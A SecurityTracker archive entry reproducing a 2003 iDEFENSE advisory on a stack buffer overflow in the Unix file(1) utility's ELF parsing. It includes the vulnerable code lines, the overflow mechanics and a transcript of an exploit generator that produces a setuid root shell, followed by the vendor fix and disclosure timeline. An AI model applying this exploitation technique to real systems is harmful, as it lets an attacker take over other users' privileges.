'file' Utility Buffer Overflow May Let Local Users Gain Elevated Privileges in Certain Cases
SecurityTracker Alert ID: 1006218|
SecurityTracker URL: http://securitytracker.com/id/1006218
(Links to External Site)
Date: Mar 4 2003
Execution of arbitrary code via local system, User access via local system|
Fix Available: Yes Vendor Confirmed: Yes |
Version(s): 3.39 and prior versions|
A buffer overflow vulnerability was reported in file(1). A local user may be able to get a local user to execute arbitrary code.|
iDEFENSE reported that the flaw resides in a doshn() function call in the 'readelf.c' file. If a local user can get another target local user to invoke the file(1) command to examine a specially crafted malicious file, arbitrary code may be executed with the privileges of the target user.
A demonstration exploit transcript is provided in the Source Message.
A local user may be able to cause arbitrary code to be executed by a target user with the privileges of the target user.|
The vendor has released a fixed version (3.41), available at:|
|Underlying OS: Linux (Any), UNIX (Any)|
This archive entry has one or more follow-up message(s) listed below.|
Source Message Contents
Subject: [Full-Disclosure] iDEFENSE Security Advisory 03.04.03: Locally Exploitable Buffer Overflow in file(1)|
-----BEGIN PGP SIGNED MESSAGE-----
iDEFENSE Security Advisory 03.04.03:
Locally Exploitable Buffer Overflow in file(1)
March 4, 2003
file(1) is an application that utilizes a magic file (typically located in
/usr/share/magic) to classify arbitrary files. The latest version of
file(1) is available for download from: ftp://ftp.astron.com/pub/file .
Usage: file [-bcnvzL] [-f namefile] [-m magicfiles] file...
$ file unknown_file
unknown_file: ASCII text
The file(1) command contains a buffer overflow vulnerability that can be
leveraged by an attacker to execute arbitrary code under the privileges of
The crux of the problem lies in the following call to doshn() from
tryelf() on line 587 in readelf.c:
The final argument to doshn() 'elfhdr.e_shentsize' is later used in a call
to read() as can be see here on line 133 in readelf.c:
if (read(fd, sh_addr, size) == -1)
The call to read() will copy 'size' bytes into the variable 'sh_addr'
which is defined on line 92 in readelf.c:
#define sh_addr (class == ELFCLASS32 \
? (void *) &sh32 \
: (void *) &sh64)
The storage buffer used in the call to read() is of size 0x20 (32) bytes,
by supplying a 'size' of 0x28 (40) a stack overflow occurs overwriting the
stored frame pointer (EBP) and instruction pointer (EIP) thereby providing
the attacker with CPU control and the ability to execute arbitrary code.
A user who can successfully convince another user to examine a specially
constructed exploit file with the file(1) command can execute arbitrary
code under the privileges of that user.
The following is a sample walkthrough of a successful exploitation. The
attacker must initially generate a file that is specially structured to
trigger a buffer overflow in the file(1) command:
$ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R
/bin/bash -p 1
Local /usr/bin/file upto v3.39 exploit by anonymous
Using PRESET: 1 [Linux file <= 3.38 ]
Using FILENAME: /tmp/exploit
Using REAL_SHELL: /bin/bash
Using CREATED_SHELL: /tmp/suid
Using OUTPUT: ASCII text
Using RET_ADDR: 0xbfffc3f0
Using NOP_COUNT: 6000
Exploit created -> /tmp/exploit
Time to wait till somebody starts /usr/bin/file /tmp/exploit
Once the tainted file has been generated the attacker must wait for or
coerce another user to examine the file with the file(1) command.
# ls -l exploit
-rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit
# file exploit
/tmp/exploit: ASCII text
The file(1) command reports that the examined file is "ASCII text" as the
attacker specified in the creation of the exploit file. At this point if
the attack was a success the original attack file (exploit) has been
erased and a set user id shell has been created:
# ls -l exploit
ls: exploit: No such file or directory
$ ls -l suid
-rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid
iDEFENSE has successfully exploited file(1) versions 3.37 and 3.39. It is
suspected that all versions up to and including 3.39 are vulnerable.
V. VENDOR FIX/RESPONSE
The latest version of file(1) fixes this issue and is available from
ftp://ftp.astron.com/pub/file/file-3.41.tar.gz . Specific vendors will be
shipping updated packages in the near future.
VI. CVE INFORMATION
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
assigned the identification number CAN-2003-0102 to this issue.
VII. DISCLOSURE TIMELINE
12/16/2002 Issue disclosed to iDEFENSE
02/24/2003 Maintainers notified: email@example.com
02/24/2003 Response from Ian Darwin, firstname.lastname@example.org
02/25/2003 Response received from email@example.com
02/25/2003 iDEFENSE clients notified
02/27/2003 OS vendors notified via firstname.lastname@example.org
03/04/2003 Public Disclosure
An anonymous researcher discovered this vulnerability.
Get paid for security research
Subscribe to iDEFENSE Advisories:
send email to email@example.com, subject line: "subscribe"
iDEFENSE is a global security intelligence company that proactively
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide
decision-makers, frontline security professionals and network
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
-----END PGP SIGNATURE-----
Full-Disclosure - We believe in it.